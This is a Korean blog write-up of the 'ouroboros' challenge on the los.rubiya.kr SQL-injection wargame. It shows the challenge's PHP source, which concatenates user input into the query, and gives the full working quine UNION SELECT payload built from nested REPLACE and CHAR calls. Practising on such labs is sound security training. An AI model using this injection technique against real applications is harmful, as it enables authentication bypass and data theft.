웹찢남

ouroboros-writeup 본문

WEB_HACKING/los.rubiya.kr

ouroboros-writeup

harry595 2020. 1. 29. 22:58


<?php
  
include "./config.php";
  
login_chk();
  
$db dbconnect();
  if(
preg_match('/prob|_|\.|rollup|join|@/i'$_GET['pw'])) exit("No Hack ~_~");
  
$query "select pw from prob_ouroboros where pw='{$_GET[pw]}'";
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>";
  
$result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(
$result['pw']) echo "<h2>Pw : {$result[pw]}</h2>";
  if((
$result['pw']) && ($result['pw'] === $_GET['pw'])) solve("ouroboros");
  
highlight_file(__FILE__);
?>

 

pw에 like구문을 사용하고 이것 저것 해봐도 값이 안나왔다...

테이블에 값이 없다고 판단하고 소스코드를 보니 답이 없다 생각해서 삽질을 많이 했다

결국 지난 문제처럼 인터넷에 검색해본 결과 처음 본 코드를 발견했다.

 

 

https://blog.rwx.kr/quine-sql-injection/

 

Quine SQL Injection - White Security

Quine SQL 이란 Quine 은 소스코드를 그대로 출력으로 반환하는 프로그램을 의미하는데위의 파이썬 소스코드를 참고하면 어떤 의미인지 쉽게 이해할 수 있을 것이다.이는 대부분의 언어로 작성되어 위키백과에 등재되어 있다. Quine SQL Query 마찬가지로 SQL 언어를 사용해 작성한 Quine 쿼리도 존재하는데, 위가 그 예이다. 여기서 필요없는 부분을 잘라내면 위와 같다. 이런 특성을 이용하여 SQL 인젝션에 응용할 수 있는데사용자 입력과 쿼리

blog.rwx.kr

 

https://los.rubiya.kr/chall/ouroboros_e3f483f087c922c84373b49950c212a9.php?pw=1%27%20union%20SELECT%20REPLACE(REPLACE(%271%22%20union%20SELECT%20REPLACE(REPLACE(%22$%22,CHAR(34),CHAR(39)),CHAR(36),%22$%22)%20AS%20Quine%23%27,CHAR(34),CHAR(39)),CHAR(36),%271%22%20union%20SELECT%20REPLACE(REPLACE(%22$%22,CHAR(34),CHAR(39)),CHAR(36),%22$%22)%20AS%20Quine%23%27)%20AS%20Quine%23 

 

이런 문제가 계속되면 스스로는 못풀것 같다..ㅠㅠ

열심히 공부해야겠다. 매~~우 찝찝하지만 CLEAR!!

 

 

'WEB_HACKING > los.rubiya.kr' 카테고리의 다른 글

Alien-writeup  (0) 2020.01.30
Zombie-writeup  (0) 2020.01.30
phantom-writeup  (0) 2020.01.29
frankenstein-writeup  (0) 2020.01.29
blue_dragon-writeup  (0) 2020.01.29
Comments